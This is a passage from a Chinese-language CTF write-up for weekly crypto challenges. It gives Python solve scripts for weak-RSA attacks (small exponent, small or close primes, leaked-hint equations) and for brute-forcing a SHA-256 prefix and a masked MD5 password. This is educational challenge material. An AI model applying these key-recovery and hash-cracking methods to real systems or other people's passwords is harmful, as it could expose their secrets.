n1 = 19920284552214772740140135352548541831031690920425912140961436065508824546041514076016684238261995522677433833330399269923572993489681770913908642529489382472548548664350078176417366141695108301338793624641102311886122714705781923892243561473766978666116035403145672686443197319003393949350402512739343998236331447680561106899174404316265329944969786438022711742891334905159259854026408058542492105569778656883811323759583727586331462200020945101286801110840081277963013591342157754264111051785385892113635682519079401538045775697382691195557344630571694510115674941400112478156619785019370731073096018975390492287333
n2 = 16329690193309629244191723145720681753145067517963214005637012320130767690248475184382159868590994476900972592910808281306311987027465355492106975220876976952805197358639881107619560544543352300924359258546945240852850094015390140482140815264345348655887196971643211396274684514779113163628885090661524523232327450873503097327714815509514869056066300689707819915660849896274673178482085029145101175879255721581466301617903290840675945809027289325795423671263820619585424051649443606301277124322653881307702397752575258862656767834175467463999624688529625582031941402015943516022965802189663157681884162493551612612033
e1 = 3
e2 = 65537
c1 = 1752041777918702842605810950957832076618830231626916748933875881505173164404519153781007066742915517004902508987841695668088780745675304779496841107726530280651344357647334690721873124324358539328142005709830859468027528835981960873390785515876157664035579935532043154959183555353553164481674735512873428044452976229459806219115571797514157279125
c2 = 13118485959563304540673377439664643422000629435115361166348221705991314239675693340024813013156594762061646798463551395329521013651893257141697813554253378348002502855822191264845788826850528723400519059095869424931054523865083127809240502348046515579012160733570975234405522250330692499687684922633627550243811524972452606330768418753137605045204137872122584136368073471612976975360656501198000053578279110813009137808852376287556012668702182416374333935081007133880603708035832346742292444210108820267460698390600228183548619401334969739679892562475501201965275739796687679445529050630235296740377171065357995433586
'''

注意的是e1=3很小,低加密指数攻击。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import gmpy2
import libnum

def de(c, e, n):
k = 0
while True:
mm = c + n*k
result, flag = gmpy2.iroot(mm, e)
if True == flag:
return result
k += 1
n= 19920284552214772740140135352548541831031690920425912140961436065508824546041514076016684238261995522677433833330399269923572993489681770913908642529489382472548548664350078176417366141695108301338793624641102311886122714705781923892243561473766978666116035403145672686443197319003393949350402512739343998236331447680561106899174404316265329944969786438022711742891334905159259854026408058542492105569778656883811323759583727586331462200020945101286801110840081277963013591342157754264111051785385892113635682519079401538045775697382691195557344630571694510115674941400112478156619785019370731073096018975390492287333
e= 3
c= 1752041777918702842605810950957832076618830231626916748933875881505173164404519153781007066742915517004902508987841695668088780745675304779496841107726530280651344357647334690721873124324358539328142005709830859468027528835981960873390785515876157664035579935532043154959183555353553164481674735512873428044452976229459806219115571797514157279125

m=de(c,e,n)
print(m)
print(libnum.n2s(int(m)).decode())

strange RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *
from secret import flag

pad = lambda x:x + bytes([16 - len(x)%16] * (16 - len(x)%16))
m = bytes_to_long(pad(flag))
p = getPrime(100)
q = getPrime(100)
n = p*p*q*q
e = 0x10001
c = pow(m,e,n)

print(f'n = {n}')
print(f'c = {c}')
print(f'e = {e}')

'''
n = 564070152909085514893862673848191100242629745476416876533996976389897932324860687952230733393080567203972999049426141761
c = 269509453821913281608300827585653465889617103481995203776655691658799441157871331220899710463748827149644657719450056013
e = 65537
'''

值得注意的是n=p*p*p*q根据欧拉定理可以得到欧拉函数phi = p*(p-1)*q*(q - 1)。n直接factor爆破就能出p,q。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
from gmpy2 import *

n = 564070152909085514893862673848191100242629745476416876533996976389897932324860687952230733393080567203972999049426141761
c = 269509453821913281608300827585653465889617103481995203776655691658799441157871331220899710463748827149644657719450056013
e = 65537
p = 709662686105519282917793669093
q = 1058314117179226194777612760717
phi = p*(p-1)*q*(q - 1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(m)
print(flag)

solve_the_equation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import bytes_to_long, getPrime
from gmpy2 import *
from flag import flag
m = bytes_to_long(flag)
p = getPrime(2048)
q = getPrime(2048)
n = p * q
e = 65537
gift = 2022 * p + 9 * q + 28 * e
c = pow(m,e,n)
print(n,c,gift)
# 559013759419746202691240598235115105126834606071307611491891982898293133657843987454339580258031532272691584368719342942404675509580909313170933925796189789232538297110756754383546447669571766593521267667716779348776308179675709803388978100416839504625045239819627379469827980589668625084314985969634985583431058156810528172627873121320455715399011186280324236548934145366222271636328254497851289112650375015433741699898290781472376090171361276557886637892800404830030548291487615566596504234212554381817510798554015481259307992175226543595948798873846335558746933940683482819439715578130806800536423771482474206047548549237879025655562739463111822524633757040958223066367993671472508367287181357997804485542311011003871312708995599690715923692968372474814753669031805664070760705148563294700043336457334028810890271434599241312612447640877347296648737167576464851763570272180801042067934843953206083053874624644994067168364645748243999074053494066054657595233970985982095621265309066132852511490426399921749091156312387594448586826952283581592003247165562367202134878625798756167825941929996806801073247649667626854029875184014003650020610359836971629737204456239324237077361643697429780638179887750984791035339697744210904151734797
# 73407318923483936681380982096598838839602514018601041044571793373013418096970487001956204920233481604663088115926046001478564679328045899017826536373925483312496867862798918521256833686293905627264784839084309695013473729502056597198558911052248943918139429481528120149662544426266704140382476129564563832751550189116712164319522536680400998100426969878312141399338984622535922004572374724499994480294086487511972287034778386491943792466926044305651852709046949243652756946391206931252732067537917128777152678266816232179411054474713462051435447023851233892017069674808619784767176865947753180156093197684363218543237706358137237603822953178987601908200096630034921280599733190041134038060644827637374731999991143342404380959195318030935855850625849684867326087432054830971960076859722417639414733054394674533018860606074648324450983897579183842853010968597034663149214229791831193351337193195298921766564073265470525286769595835642479920483047959570057149110246705969802722576770273329236163660486942433423522588321736639231667766680582482974393228214947178327111783901303686854030864244720750585928819691608599558058859371899416709995780300197269497143959726959313506292966639680257096421491364629690813416340577056873916752193925
# 63829120016023768052886024054478552450378183173692549289836790500844466624984770449526584263524969873611417764466777251459739549064993441916734929304056657281688756040121378172997367361118927461471925755841160032723693319039128805185488328610549652307644061769088611063117016010827595409949224043526660999362737741312450095192593608666286680915796697255817583078927076945852260612453896867746751729217633935143780193497702898684210698859292191506586139420497299988065973759272644964857853100511651254633164029275099534568064491202987945733565755982565356202756330311841048849063747767451397616638500281324618902190280761

解方程,直接sympy库解非线性方程组,有俩解,取整数解那个即可。

1
2
3
4
5
6
7
8
9
10
from sympy import *
n = 559013759419746202691240598235115105126834606071307611491891982898293133657843987454339580258031532272691584368719342942404675509580909313170933925796189789232538297110756754383546447669571766593521267667716779348776308179675709803388978100416839504625045239819627379469827980589668625084314985969634985583431058156810528172627873121320455715399011186280324236548934145366222271636328254497851289112650375015433741699898290781472376090171361276557886637892800404830030548291487615566596504234212554381817510798554015481259307992175226543595948798873846335558746933940683482819439715578130806800536423771482474206047548549237879025655562739463111822524633757040958223066367993671472508367287181357997804485542311011003871312708995599690715923692968372474814753669031805664070760705148563294700043336457334028810890271434599241312612447640877347296648737167576464851763570272180801042067934843953206083053874624644994067168364645748243999074053494066054657595233970985982095621265309066132852511490426399921749091156312387594448586826952283581592003247165562367202134878625798756167825941929996806801073247649667626854029875184014003650020610359836971629737204456239324237077361643697429780638179887750984791035339697744210904151734797
c = 73407318923483936681380982096598838839602514018601041044571793373013418096970487001956204920233481604663088115926046001478564679328045899017826536373925483312496867862798918521256833686293905627264784839084309695013473729502056597198558911052248943918139429481528120149662544426266704140382476129564563832751550189116712164319522536680400998100426969878312141399338984622535922004572374724499994480294086487511972287034778386491943792466926044305651852709046949243652756946391206931252732067537917128777152678266816232179411054474713462051435447023851233892017069674808619784767176865947753180156093197684363218543237706358137237603822953178987601908200096630034921280599733190041134038060644827637374731999991143342404380959195318030935855850625849684867326087432054830971960076859722417639414733054394674533018860606074648324450983897579183842853010968597034663149214229791831193351337193195298921766564073265470525286769595835642479920483047959570057149110246705969802722576770273329236163660486942433423522588321736639231667766680582482974393228214947178327111783901303686854030864244720750585928819691608599558058859371899416709995780300197269497143959726959313506292966639680257096421491364629690813416340577056873916752193925
gift = 63829120016023768052886024054478552450378183173692549289836790500844466624984770449526584263524969873611417764466777251459739549064993441916734929304056657281688756040121378172997367361118927461471925755841160032723693319039128805185488328610549652307644061769088611063117016010827595409949224043526660999362737741312450095192593608666286680915796697255817583078927076945852260612453896867746751729217633935143780193497702898684210698859292191506586139420497299988065973759272644964857853100511651254633164029275099534568064491202987945733565755982565356202756330311841048849063747767451397616638500281324618902190280761

e = 65537

p,q = symbols('p q')
resture = nonlinsolve([p*q - n, 2022 * p + 9 * q + 28 * e - gift], [p, q])
print(resture)

p,q出了,RSA一把梭就行了。

1
2
p = 31488299927163782375594305784598354985055343576902151378139638110290196067918972709864013036909993584566357500427488971564319756822589646977081872239028723217808372250207143372686512583814138881980368846428364451724191019810210583450208745323418623199057207740178726519465136933610452840086315545766227500114368026151391214297362847972215483754128409704386255997220347329566039222555930464490406419002226257326118774942404683970363544788642504594073256844610344691049585870560973659315882902006631997716334351866723219577903275769313404136367236735062099234386473703566068495328080598914833401280780692803508570349879
q = 17753062588733343270481973113408741177364273466266578137604693537521130628067514464616655876995871735360322066932727884076111196635241747675042626304508770586691927800281585936137657405193182456402216484778567926375452998098111716574027285177466244350043079827469560084278792340806640810521556665260999347942843603815228875925103340718552529438783648172063716949726071718858811605089496505238883332792493647818670062684514188459512366295227468596668231188353669195967903222039580635681985850471261694526218866731687175727118621937360285536800367141087950091875609247828705723374310716178275472084635608436063660110043

hash

image-20221021105716950.png

sha256爆破前四位。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
import itertools
from string import digits, ascii_letters, punctuation
alpha_bet=digits+ascii_letters+punctuation
strlist = itertools.product(alpha_bet, repeat=4)

sha256="1dafe94b2a853521de7c2ef475c88dc446b9a92b67189d4f0905ecad71b2acef"
tail="aW56dn5niWISJkBo"

xxxx=''

for i in strlist:
data=i[0]+i[1]+i[2]+i[3]
data_sha=hashlib.sha256((data+str(tail)).encode('utf-8')).hexdigest()
if(data_sha==str(sha256)):
xxxx=data
break

print(xxxx)

Chaos

Little Lattice

S1mple_ECB

了解ecb的性质,是拼接的,取前32位和后32位,分别解密就行了

NSSCTF{ECB_m0de_1s_qui4e_s1mple}

md5太残暴了

题目描述:

小明养成了定期修改密码的好习惯,同时,他还是一个CTF爱好者。有一天,他突发奇想,用flag格式来设置密码,为了防止忘记密码,他还把密码进行了md5加密。为了避免被其他人看到全部密码,他还特意修改了其中部分字符为#。你能猜出他的密码吗?
plaintext = flag
md5 = ac7f4d52c3924925aa9c8a7a1f522451
PS: 第一个#是大写字母,第二个#是小写字母,其他是数字。

md5爆破。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
plaintext = "flag{#00#_P4ssw0rd_N3v3r_F0rg3t_63####}"

Dic = [chr(i) for i in range(97,123)] #小写字母
dic = [chr(i) for i in range(65,91)] #大写字母
num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
for i in range(len(Dic)):
for j in range(len(dic)):
for a in range(len(num)):
for b in range(len(num)):
for c in range(len(num)):
m = 'flag{' + Dic[i] + '00'+dic[j] + '_P4ssw0rd_N3v3r_F0rg3t_63' + num[a] + num[b] + num[c]
md5 = hashlib.md5(m.encode('utf-8')).hexdigest()
if md5 == 'ac7f4d52c3924925aa9c8a7a1f522451':
print(m , md5)

mathRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import getPrime, bytes_to_long
from flag import flag

m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 0x10001
c = pow(m, e, n)
hint = p**5 - q**4

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"h = {hint}")
print(f"f = {flag}")
"""
n = 76236418318712173274495941060488893810931309177217802334230599201457092723011685048556311576262486371987147895332408646920500226769161418792142565209634495797142268681403865426056588605013602625268553194169434049817172340173907696496945054049859221379092764811535206778031226535614731731322630330166833765943
e = 65537
c = 7207616060389865156270906240837846478541820008527247539698331406253371238674590766101711421196342768182325013873320402422918804780590951789425587131632422554819735000106070325708057225062376701298825910565526713270553888227235612227223162695870584803109353377288421750982913226189395526612487664144379690552
h = 130285072635228037239175162118613869214302695058325046962039091162567931492116336918638092534964417960274466351834311039222269165021532950982276262717322395682559639859781516047319178212473103057947426886870612637975024605166325017663998263834789814181250953051730859433354534450232382414565421858172075431133498326501045697132640582932453817599366612200146802110424409285814189125929844293789544163802323048780585398714263586547670912817768592459281775837372982750626103047573532664320692775783627129463700810934670066747044799514243631607384814191188276380589420289084574680852618867732847029105400406874790675559126905078326495799755425006555539699119063191489852930421412630857588890593040420277938268954008973405431053073576987401154763326417551463323055736754390446
"""

由题目可知,n=pq,hint=p^5 - q^4,由此我们可以构造出非线性方程组

pq-n=0

p^5 - q^4-hint=0

利用sympy库对其解方程组得到p,q。

1
2
p,q = symbols('p q')
resture = nonlinsolve([p*q - n, p**5 - q**4 - h], [p, q])

解出p,q后一把梭就行了。

方法二:

hint=p**5 - q**4,因为hint很大,所以p**5远大于q**4,可以直接对hint开5次方得到temp,此时temp<p再循环取temp的下一个素数,直至n可以整除temp为止,就能得到p了。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
import gmpy2

n = 76236418318712173274495941060488893810931309177217802334230599201457092723011685048556311576262486371987147895332408646920500226769161418792142565209634495797142268681403865426056588605013602625268553194169434049817172340173907696496945054049859221379092764811535206778031226535614731731322630330166833765943
e = 65537
c = 7207616060389865156270906240837846478541820008527247539698331406253371238674590766101711421196342768182325013873320402422918804780590951789425587131632422554819735000106070325708057225062376701298825910565526713270553888227235612227223162695870584803109353377288421750982913226189395526612487664144379690552
h = 130285072635228037239175162118613869214302695058325046962039091162567931492116336918638092534964417960274466351834311039222269165021532950982276262717322395682559639859781516047319178212473103057947426886870612637975024605166325017663998263834789814181250953051730859433354534450232382414565421858172075431133498326501045697132640582932453817599366612200146802110424409285814189125929844293789544163802323048780585398714263586547670912817768592459281775837372982750626103047573532664320692775783627129463700810934670066747044799514243631607384814191188276380589420289084574680852618867732847029105400406874790675559126905078326495799755425006555539699119063191489852930421412630857588890593040420277938268954008973405431053073576987401154763326417551463323055736754390446
temp= gmpy2.iroot(h,5)[0]
while n % temp !=0:
temp =gmpy2.next_prime(temp)
p = temp
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

Week3

pnearq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
from gmpy2 import next_prime
from flag import flag

p = getPrime(1024)
q = next_prime(p)
n = p*q
e = 0x10001
c = pow(bytes_to_long(flag), e, n)
print(f"n = {n}")
print(f"c = {c}")

"""
n = 19421904767367129549329507820147867763064747101931314714173717122035977491291441314433180813343755107381230481007143328156292096871675328839756035726106037229325380698967544660649710464634698425387682458721466040894830503881966355435442651493212040443436714597490121865537266815247879839020846287255634123530517095030752832857842819836940083915495464712363169428825344678729929317207583197980607919720642725221740680718976635305544368542563503440076036727388062097647374046378854873864505267644315352602271587283702733779081805129429479541906613334092422428543951370065910195162721686773383508480268145903016615151713
c = 16430654037742749931837577925393394466626615745270895225352757745284038922799868617243616416116392338428121605256850230862894296244375242336599929497221079420665154174930054597666915358687410522457846003186806053368237783147731665147575913322026626738697036282908055611350347494310666532700194563684837580022875526378181343082801716942536163583090541294011987732281942148455345223347021675781368596340860151253774597168954881987520338304516390785094435356412111780768446904948045448510663589654475221029009283144829902553888829840193614048967712676048740814622290029846433107762872806981599110271586325156855299974310
"""

可以看到q = next_prime(p),q是p的下一个质数,费马分解N即可。一个费马分解的小脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def isqrt(n):
x = n
y = (x + n // x) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x

def fermat(n, verbose=True):
a = isqrt(n) # int(ceil(n**0.5))
b2 = a*a - n
b = isqrt(n) # int(b2**0.5)
count = 0
while b*b != b2:
# if verbose:
# print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
a = a + 1
b2 = a*a - n
b = isqrt(b2) # int(b2**0.5)
count += 1
p=a+b
q=a-b
assert n == p * q
return p, q
fermat(n)

smallRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rom Crypto.Util.number import getPrime, bytes_to_long
import uuid

flag = "flag{"+str(uuid.uuid4())[:13]+"}"
p = getPrime(100)
q = getPrime(100)
n = p*q
e = 0x10001
m = bytes_to_long(flag.encode())
assert(m < n)
c = pow(m, e, n)
# print(f"flag = {flag}")
print(f"n = {n}")
print(f"c = {c}")
"""
n = 625718246679843150194146350359795658237410693353450690028041
c = 118795719073790634455854187484104547013000179946116068066473
"""

n很小,factor爆破出p,q。

exp.py

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
from gmpy2 import *

e = 0x10001
n = 625718246679843150194146350359795658237410693353450690028041
p = 768780063730500942699787302253
q = 813910604866037851538498611597
c = 118795719073790634455854187484104547013000179946116068066473
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c, d, n)
print (long_to_bytes(m))

Week4

random

square